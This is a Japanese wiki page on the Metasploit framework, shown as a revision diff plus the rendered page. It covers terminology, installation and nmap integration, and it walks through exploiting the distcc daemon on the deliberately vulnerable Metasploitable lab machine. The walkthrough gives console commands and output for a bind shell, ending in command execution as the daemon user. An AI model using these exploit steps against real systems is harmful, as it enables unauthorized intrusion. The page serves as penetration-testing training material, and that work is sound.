「Metasploit」の版間の差分

提供: セキュリティ
移動: 案内検索
 
(同じ利用者による、間の9版が非表示)
行11: 行11:
  
 
== 概要 ==
 
== 概要 ==
2003年ごろは、 Perl スクリプト言語をベースに開発されていました。2003年以降は、Ruby が使われるようになりました。[[Metasploit]] は、[[PostgreSQL]] を利用します。
+
2003年ごろは、 Perl スクリプト言語をベースに開発されていました。2003年以降は、Ruby が使われるようになりました。[[Metasploit]] は、PostgreSQL を利用します。
  
 
[[Windows]] の[[脆弱性]]をついて、シェルを取得する、といったことが比較的容易にできます。
 
[[Windows]] の[[脆弱性]]をついて、シェルを取得する、といったことが比較的容易にできます。
  
 +
== 用語 ==
 +
* [[エクスプロイト]]
 +
* ペイロード
 +
* [[シェルコード]]
 +
* バインドシェル
 +
* MSF: Metasploit Framework
 +
=== モジュール ===
 +
Metasploit Framework(MSF)が利用できるソフトウェアのことをモジュールと呼びます。
 +
例として、攻撃を実行するソフトウェアコンポーネントは、exploitモジュールと呼びます。
 +
=== リスナー ===
 +
何らかの接続を待つ Metasploit コンポーネントをリスナーと呼びます。
 +
== Metasploitインターフェイス ==
 +
;MSFconsole: msfconsoleは、CUIの対話的なコンソールです。
 +
;MSFcli:msfcliは、スクリプティングや他のコンソールベースツールとの接続性を優先したコマンドです。
 +
;[[Armitage]]:GUIインターフェイスです。
 +
== Metasploitユーティリティ ==
 +
;MSFvenom:[[msfvenom]]は、[[msfpayload]]と[[msfencode]]のコンビネーションで、それらのツールを1つのフレームワークインスタンスにまとめたものです。
 +
;MSFpayload:[[msfpayload]]は、Frameworkを使用せずに[[エクスプロイト]]の[[シェルコード]]や実行ファイルを作成できます。
 +
;[[nasm_shell.rb]]:アセンブリ命令からオペコードを確認するツールです。
 
== インストール ==
 
== インストール ==
 
+
* [[Kali Linux]]には、[[Metasploit]]は、デフォルトでインストールされています。
=== Kali Linux ===
+
*: /opt/metasploit にあります。
[[Metasploit]]は、デフォルトでインストールされています。
+
* [[FreeBSDにMetasploitをインストールする]]
/opt/metasploit にあります。
+
* [[Metasploit PostgreSQLデータベースの初期化]]
 
+
{{ports|/usr/ports/security/metasploit|metasploit}}
+
 
+
 
== アップデート ==
 
== アップデート ==
=== Kali Linux ===
+
* [[Metasploitのアップデート]]
<syntaxhighlight lang="bash">
+
/opt/metasploit/app/msfupdate
+
</syntaxhighlight>
+
=== FreeBSD の場合 ===
+
ファイルの更新には、[[svn]] コマンドが必要です。
+
<syntaxhighlight lang="bash">
+
% cd /usr/local/share/metasploit
+
% sudo svn upgrade
+
% msfconsole
+
</syntaxhighlight>
+
 
+
 
== 使い方 ==
 
== 使い方 ==
 
=== Kali Linux ===
 
=== Kali Linux ===
行51: 行56:
 
</syntaxhighlight>
 
</syntaxhighlight>
 
=== 実行例 ===
 
=== 実行例 ===
 
 
<syntaxhighlight lang="bash">
 
<syntaxhighlight lang="bash">
 
root@kali:/opt/metasploit# service postgresql start
 
root@kali:/opt/metasploit# service postgresql start
行127: 行131:
 
msf >
 
msf >
 
</syntaxhighlight>
 
</syntaxhighlight>
 +
 +
=== distcc脆弱性 ===
 +
[[Metasploitable]]のdistccの[[脆弱性]]を利用して、乗っ取りを行います。
 +
 +
distcc を検索します。
 +
<syntaxhighlight lang="bash">
 +
msf > search distcc
 +
 +
Matching Modules
 +
================
 +
 +
  Name                          Disclosure Date  Rank      Description
 +
  ----                          ---------------  ----      -----------
 +
  exploit/unix/misc/distcc_exec  2002-02-01      excellent  DistCC Daemon Command Execution
 +
</syntaxhighlight>
 +
 +
distcc_execを選択します。
 +
<syntaxhighlight lang="bash">
 +
msf > use exploit/unix/misc/distcc_exec
 +
</syntaxhighlight>
 +
 +
利用できるペイロードを調べます。
 +
<syntaxhighlight lang="bash">
 +
msf exploit(distcc_exec) > show payloads
 +
 +
Compatible Payloads
 +
===================
 +
 +
  Name                                Disclosure Date  Rank    Description
 +
  ----                                ---------------  ----    -----------
 +
  cmd/unix/bind_perl                                  normal  Unix Command Shell, Bind TCP (via Perl)
 +
  cmd/unix/bind_perl_ipv6                              normal  Unix Command Shell, Bind TCP (via perl) IPv6
 +
  cmd/unix/bind_ruby                                  normal  Unix Command Shell, Bind TCP (via Ruby)
 +
  cmd/unix/bind_ruby_ipv6                              normal  Unix Command Shell, Bind TCP (via Ruby) IPv6
 +
  cmd/unix/generic                                    normal  Unix Command, Generic Command Execution
 +
  cmd/unix/reverse                                    normal  Unix Command Shell, Double reverse TCP (telnet)
 +
  cmd/unix/reverse_perl                                normal  Unix Command Shell, Reverse TCP (via Perl)
 +
  cmd/unix/reverse_perl_ssl                            normal  Unix Command Shell, Reverse TCP SSL (via perl)
 +
  cmd/unix/reverse_ruby                                normal  Unix Command Shell, Reverse TCP (via Ruby)
 +
  cmd/unix/reverse_ruby_ssl                            normal  Unix Command Shell, Reverse TCP SSL (via Ruby)
 +
  cmd/unix/reverse_ssl_double_telnet                  normal  Unix Command Shell, Double Reverse TCP SSL (telnet)
 +
</syntaxhighlight>
 +
 +
ペイロードにcmd/unix/bind_perlを選択します。
 +
<syntaxhighlight lang="bash">
 +
msf exploit(distcc_exec) > set PAYLOAD cmd/unix/bind_perl
 +
PAYLOAD => cmd/unix/bind_perl
 +
</syntaxhighlight>
 +
オプションを確認します。
 +
<syntaxhighlight lang="bash">
 +
msf exploit(distcc_exec) > show options
 +
 +
Module options (exploit/unix/misc/distcc_exec):
 +
 +
  Name  Current Setting  Required  Description
 +
  ----  ---------------  --------  -----------
 +
  RHOST                  yes      The target address
 +
  RPORT  3632            yes      The target port
 +
 +
 +
Payload options (cmd/unix/bind_perl):
 +
 +
  Name  Current Setting  Required  Description
 +
  ----  ---------------  --------  -----------
 +
  LPORT  4444            yes      The listen port
 +
  RHOST                  no        The target address
 +
 +
 +
Exploit target:
 +
 +
  Id  Name
 +
  --  ----
 +
  0  Automatic Target
 +
 +
</syntaxhighlight>
 +
RHOSTには、[[Metasploitable]]の[[IPアドレス]]を指定します。
 +
<syntaxhighlight lang="bash">
 +
msf exploit(distcc_exec) > set RHOST 192.168.60.129
 +
RHOST => 192.168.60.129
 +
</syntaxhighlight>
 +
exploitで[[エクスプロイト]]を実行します。
 +
<syntaxhighlight lang="bash">
 +
msf exploit(distcc_exec) > exploit
 +
 +
[*] Started bind handler
 +
[*] Command shell session 1 opened (192.168.60.128:50065 -> 192.168.60.129:4444) at 2013-11-08 22:08:53 -0500
 +
 +
</syntaxhighlight>
 +
 +
この時点で、すでにセッションを確立できています。
 +
<syntaxhighlight lang="bash">
 +
[*] Command shell session 1 opened (192.168.60.128:50065 -> 192.168.60.129:4444) at 2013-11-08 22:08:53 -0500
 +
</syntaxhighlight>
 +
 +
コマンドを入力して、エンターを押すと、コマンドが実行され、コマンドの出力が表示されます。
 +
daemonの権限を取得できていることがわかります。
 +
<syntaxhighlight lang="bash">
 +
msf exploit(distcc_exec) > exploit
 +
 +
[*] Started bind handler
 +
[*] Command shell session 1 opened (192.168.60.128:50065 -> 192.168.60.129:4444) at 2013-11-08 22:08:53 -0500
 +
 +
id
 +
uid=1(daemon) gid=1(daemon) groups=1(daemon)
 +
whoami
 +
daemon
 +
w
 +
20:57:26 up 16:27,  3 users,  load average: 0.00, 0.00, 0.00
 +
USER    TTY      FROM              LOGIN@  IDLE  JCPU  PCPU WHAT
 +
msfadmin tty1    -                04:40    3:43m  1.16s  0.27s -bash
 +
root    pts/0    :0.0            04:30  16:26  0.01s  0.01s -bash
 +
msfadmin pts/1    192.168.60.1    20:54    2:12m  0.00s  0.00s -bash
 +
uname -a
 +
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
 +
pwd
 +
/tmp
 +
 +
</syntaxhighlight>
 +
 +
== FAQ ==
 +
 +
=== Database not connected or cache not built, using slow search ===
 +
<syntaxhighlight lang="bash">
 +
msf > search distcc
 +
[!] Database not connected or cache not built, using slow search
 +
</syntaxhighlight>
 +
 +
<syntaxhighlight lang="bash">
 +
msf > db_status
 +
[*] postgresql connected to msf3
 +
</syntaxhighlight>
 +
 +
もし、接続されていない場合は、DBと[[Metasploit]]のサービスを起動します。
 +
<syntaxhighlight lang="bash">
 +
#service postgresql start
 +
#service metasploit start
 +
</syntaxhighlight>
 +
デフォルトでサービスを起動しておくには、update-rc.dで設定を変更します。
 +
<syntaxhighlight lang="bash">
 +
#update-rc.d postgresql enable
 +
#update-rc.d metasploit enable
 +
</syntaxhighlight>
 +
 +
DBに接続されたら、キャッシュを作成/再作成します。
 +
<syntaxhighlight lang="bash">
 +
msf > db_rebuild_cache
 +
[*] Purging and rebuilding the module cache in the background...
 +
</syntaxhighlight>
 +
=== nmapの結果をインポートする ===
 +
<syntaxhighlight lang="bash">
 +
nmap -sS -Pn -A -oX hosts.xml 192.168.0.0/24
 +
</syntaxhighlight>
 +
 +
<syntaxhighlight lang="bash">
 +
msf> db_connect postgres:toor@127.0.0.1/msfbook
 +
msf> db_import hosts.xml
 +
msf> hosts -c address
 +
</syntaxhighlight>
 +
 +
=== Metasploitでnmapを実行する ===
 +
[[Metasploit]]から[[nmap]]を実行する例です。
 +
<syntaxhighlight lang="bash">
 +
msf > db_nmap 192.168.0.11
 +
[*] Nmap: Starting Nmap 6.25 ( http://nmap.org ) at 2013-12-22 00:10 JST
 +
[*] Nmap: Nmap scan report for 192.168.0.11
 +
[*] Nmap: Host is up (1.0s latency).
 +
[*] Nmap: Not shown: 979 closed ports
 +
[*] Nmap: PORT      STATE    SERVICE
 +
[*] Nmap: 135/tcp  open    msrpc
 +
[*] Nmap: 139/tcp  open    netbios-ssn
 +
[*] Nmap: 443/tcp  open    https
 +
[*] Nmap: 445/tcp  open    microsoft-ds
 +
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 127.23 seconds
 +
msf > services
 +
 +
Services
 +
========
 +
 +
host          port  proto  name            state    info
 +
----          ----  -----  ----            -----    ----
 +
192.168.0.11  135    tcp    msrpc            open
 +
192.168.0.11  139    tcp    netbios-ssn      open
 +
192.168.0.11  443    tcp    https            open
 +
192.168.0.11  445    tcp    microsoft-ds    open
 +
</syntaxhighlight>
 +
== 使い方 ==
 +
* [[MetasploitでFTPサーバのバージョンを調べる]]
 +
* [[MetasploitでAnonymous FTPアクセスの検出を行う]]
 
== 関連項目 ==
 
== 関連項目 ==
* [[Armitage]]
+
* [[Veil-Evasion]]
* [[Metasploitable]]
+
{{pentest}}
* [[セキュリティ診断ツール]]
+
* [[インテリジェンスギャザリング]]
 
* http://www.metasploit.org/
 
* http://www.metasploit.org/
<!--
+
<!-- vim: filetype=mediawiki
vim: filetype=mediawiki
+
 
-->
 
-->

2016年4月23日 (土) 14:13時点における最新版

Metasploit プロジェクトは、

  • ペネトレーションテスト
  • IDS シグネチャの開発
  • exploit の研究 をする人々に有益な情報を提供すること

をゴールとしています。

読み方

Metasploit
めたすぷろいと

概要

2003年ごろは、 Perl スクリプト言語をベースに開発されていました。2003年以降は、Ruby が使われるようになりました。Metasploit は、PostgreSQL を利用します。

Windows脆弱性をついて、シェルを取得する、といったことが比較的容易にできます。

用語

モジュール

Metasploit Framework(MSF)が利用できるソフトウェアのことをモジュールと呼びます。 例として、攻撃を実行するソフトウェアコンポーネントは、exploitモジュールと呼びます。

リスナー

何らかの接続を待つ Metasploit コンポーネントをリスナーと呼びます。

Metasploitインターフェイス

MSFconsole
msfconsoleは、CUIの対話的なコンソールです。
MSFcli
msfcliは、スクリプティングや他のコンソールベースツールとの接続性を優先したコマンドです。
Armitage
GUIインターフェイスです。

Metasploitユーティリティ

MSFvenom
msfvenomは、msfpayloadmsfencodeのコンビネーションで、それらのツールを1つのフレームワークインスタンスにまとめたものです。
MSFpayload
msfpayloadは、Frameworkを使用せずにエクスプロイトシェルコードや実行ファイルを作成できます。
nasm_shell.rb
アセンブリ命令からオペコードを確認するツールです。

インストール

アップデート

使い方

Kali Linux

PostgreSQLとMetasploitのサービスを起動します。

service postgresql start
service metasploit start
msfconsole

PostgreSQLとMetasploitをスタートアップ時に起動したい場合は、update-rc.dでサービスを有効にできます。

update-rc.d portgresql enable
update-rc.d metasploit enable

実行例

root@kali:/opt/metasploit# service postgresql start
[ ok ] Starting PostgreSQL 9.1 database server: main.
root@kali:/opt/metasploit# service metasploit start
[ ok ] Metasploit rpc server already started.
[ ok ] Metasploit web server already started.
[ ok ] Metasploit worker already started.
root@kali:/opt/metasploit# service postgresql start
[ ok ] Starting PostgreSQL 9.1 database server: main.
root@kali:/opt/metasploit# service metasploit start
[ ok ] Metasploit rpc server already started.
[ ok ] Metasploit web server already started.
[ ok ] Metasploit worker already started.
root@kali:/opt/metasploit# msfconsole
 
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMM                MMMMMMMMMM
MMMN$                           vMMMM
MMMNl  MMMMM             MMMMM  JMMMM
MMMNl  MMMMMMMN       NMMMMMMM  JMMMM
MMMNl  MMMMMMMMMNmmmNMMMMMMMMM  JMMMM
MMMNI  MMMMMMMMMMMMMMMMMMMMMMM  jMMMM
MMMNI  MMMMMMMMMMMMMMMMMMMMMMM  jMMMM
MMMNI  MMMMM   MMMMMMM   MMMMM  jMMMM
MMMNI  MMMMM   MMMMMMM   MMMMM  jMMMM
MMMNI  MMMNM   MMMMMMM   MMMMM  jMMMM
MMMNI  WMMMM   MMMMMMM   MMMM#  JMMMM
MMMMR  ?MMNM             MMMMM .dMMMM
MMMMNm `?MMM             MMMM` dMMMMM
MMMMMMN  ?MM             MM?  NMMMMMN
MMMMMMMMNe                 JMMMMMNMMM
MMMMMMMMMMNm,            eMMMMMNMMNMM
MMMMNNMNMMMMMNx        MMMMMMNMMNMMNM
MMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMM
        http://metasploit.pro
 
 
Large pentest? List, sort, group, tag and search your hosts and services
in Metasploit Pro -- type 'go_pro' to launch it now.
 
       =[ metasploit v4.7.2-2013110601 [core:4.7 api:1.0]
+ -- --=[ 1216 exploits - 661 auxiliary - 189 post
+ -- --=[ 322 payloads - 30 encoders - 8 nops
 
msf > db_status
[*] postgresql connected to msf3

msfconsole を実行するとユニークなアスキーアートが表示されます。このデザインは、ときどき変わります。

% msfconsole
 
                 _---------.
             .' #######   ;."
  .---,.    ;@             @@`;   .---,..
." @@@@@'.,'@@            @@@@@',.'@@@@ ".
'-.@@@@@@@@@@@@@          @@@@@@@@@@@@@ @;
   `.@@@@@@@@@@@@        @@@@@@@@@@@@@@ .'
     "--'.@@@  -.@        @ ,'-   .'--"
          ".@' ; @       @ `.  ;'
            |@@@@ @@@     @    .
             ' @@@ @@   @@    ,
              `.@@@@    @@   .
                ',@@     @   ;           _____________
                 (   3 C    )     /|___ / Metasploit! \
                 ;@'. __*__,."    \|--- \_____________/
                  '(.,...."/
 
 
       =[ metasploit v4.5.0-release [core:4.5 api:1.0]
+ -- --=[ 996 exploits - 562 auxiliary - 164 post
+ -- --=[ 262 payloads - 28 encoders - 8 nops
 
msf >

distcc脆弱性

Metasploitableのdistccの脆弱性を利用して、乗っ取りを行います。

distcc を検索します。

msf > search distcc
 
Matching Modules
======UNIQbe0c81a2727f3d0c-h-12--QINU==========
 
   Name                           Disclosure Date  Rank       Description
   ----                           ---------------  ----       -----------
   exploit/unix/misc/distcc_exec  2002-02-01       excellent  DistCC Daemon Command Execution

distcc_execを選択します。

msf > use exploit/unix/misc/distcc_exec

利用できるペイロードを調べます。

msf exploit(distcc_exec) > show payloads
 
Compatible Payloads
======UNIQbe0c81a2727f3d0c-h-13--QINU=============
 
   Name                                Disclosure Date  Rank    Description
   ----                                ---------------  ----    -----------
   cmd/unix/bind_perl                                   normal  Unix Command Shell, Bind TCP (via Perl)
   cmd/unix/bind_perl_ipv6                              normal  Unix Command Shell, Bind TCP (via perl) IPv6
   cmd/unix/bind_ruby                                   normal  Unix Command Shell, Bind TCP (via Ruby)
   cmd/unix/bind_ruby_ipv6                              normal  Unix Command Shell, Bind TCP (via Ruby) IPv6
   cmd/unix/generic                                     normal  Unix Command, Generic Command Execution
   cmd/unix/reverse                                     normal  Unix Command Shell, Double reverse TCP (telnet)
   cmd/unix/reverse_perl                                normal  Unix Command Shell, Reverse TCP (via Perl)
   cmd/unix/reverse_perl_ssl                            normal  Unix Command Shell, Reverse TCP SSL (via perl)
   cmd/unix/reverse_ruby                                normal  Unix Command Shell, Reverse TCP (via Ruby)
   cmd/unix/reverse_ruby_ssl                            normal  Unix Command Shell, Reverse TCP SSL (via Ruby)
   cmd/unix/reverse_ssl_double_telnet                   normal  Unix Command Shell, Double Reverse TCP SSL (telnet)

ペイロードにcmd/unix/bind_perlを選択します。

msf exploit(distcc_exec) > set PAYLOAD cmd/unix/bind_perl
PAYLOAD => cmd/unix/bind_perl

オプションを確認します。

msf exploit(distcc_exec) > show options
 
Module options (exploit/unix/misc/distcc_exec):
 
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  3632             yes       The target port
 
 
Payload options (cmd/unix/bind_perl):
 
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444             yes       The listen port
   RHOST                   no        The target address
 
 
Exploit target:
 
   Id  Name
   --  ----
   0   Automatic Target

RHOSTには、MetasploitableIPアドレスを指定します。

msf exploit(distcc_exec) > set RHOST 192.168.60.129
RHOST => 192.168.60.129

exploitでエクスプロイトを実行します。

msf exploit(distcc_exec) > exploit
 
[*] Started bind handler
[*] Command shell session 1 opened (192.168.60.128:50065 -> 192.168.60.129:4444) at 2013-11-08 22:08:53 -0500

この時点で、すでにセッションを確立できています。

[*] Command shell session 1 opened (192.168.60.128:50065 -> 192.168.60.129:4444) at 2013-11-08 22:08:53 -0500

コマンドを入力して、エンターを押すと、コマンドが実行され、コマンドの出力が表示されます。 daemonの権限を取得できていることがわかります。

msf exploit(distcc_exec) > exploit
 
[*] Started bind handler
[*] Command shell session 1 opened (192.168.60.128:50065 -> 192.168.60.129:4444) at 2013-11-08 22:08:53 -0500
 
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
whoami
daemon
w
 20:57:26 up 16:27,  3 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
msfadmin tty1     -                04:40    3:43m  1.16s  0.27s -bash
root     pts/0    :0.0             04:30   16:26   0.01s  0.01s -bash
msfadmin pts/1    192.168.60.1     20:54    2:12m  0.00s  0.00s -bash
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
pwd
/tmp

FAQ

Database not connected or cache not built, using slow search

msf > search distcc
[!] Database not connected or cache not built, using slow search
msf > db_status
[*] postgresql connected to msf3

もし、接続されていない場合は、DBとMetasploitのサービスを起動します。

#service postgresql start
#service metasploit start

デフォルトでサービスを起動しておくには、update-rc.dで設定を変更します。

#update-rc.d postgresql enable
#update-rc.d metasploit enable

DBに接続されたら、キャッシュを作成/再作成します。

msf > db_rebuild_cache
[*] Purging and rebuilding the module cache in the background...

nmapの結果をインポートする

nmap -sS -Pn -A -oX hosts.xml 192.168.0.0/24
msf> db_connect postgres:toor@127.0.0.1/msfbook
msf> db_import hosts.xml
msf> hosts -c address

Metasploitでnmapを実行する

Metasploitからnmapを実行する例です。

msf > db_nmap 192.168.0.11
[*] Nmap: Starting Nmap 6.25 ( http://nmap.org ) at 2013-12-22 00:10 JST
[*] Nmap: Nmap scan report for 192.168.0.11
[*] Nmap: Host is up (1.0s latency).
[*] Nmap: Not shown: 979 closed ports
[*] Nmap: PORT      STATE    SERVICE
[*] Nmap: 135/tcp   open     msrpc
[*] Nmap: 139/tcp   open     netbios-ssn
[*] Nmap: 443/tcp   open     https
[*] Nmap: 445/tcp   open     microsoft-ds
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 127.23 seconds
msf > services
 
Services
===UNIQbe0c81a2727f3d0c-h-18--QINU=====
 
host          port   proto  name             state     info
----          ----   -----  ----             -----     ----
192.168.0.11  135    tcp    msrpc            open
192.168.0.11  139    tcp    netbios-ssn      open
192.168.0.11  443    tcp    https            open
192.168.0.11  445    tcp    microsoft-ds     open

使い方

関連項目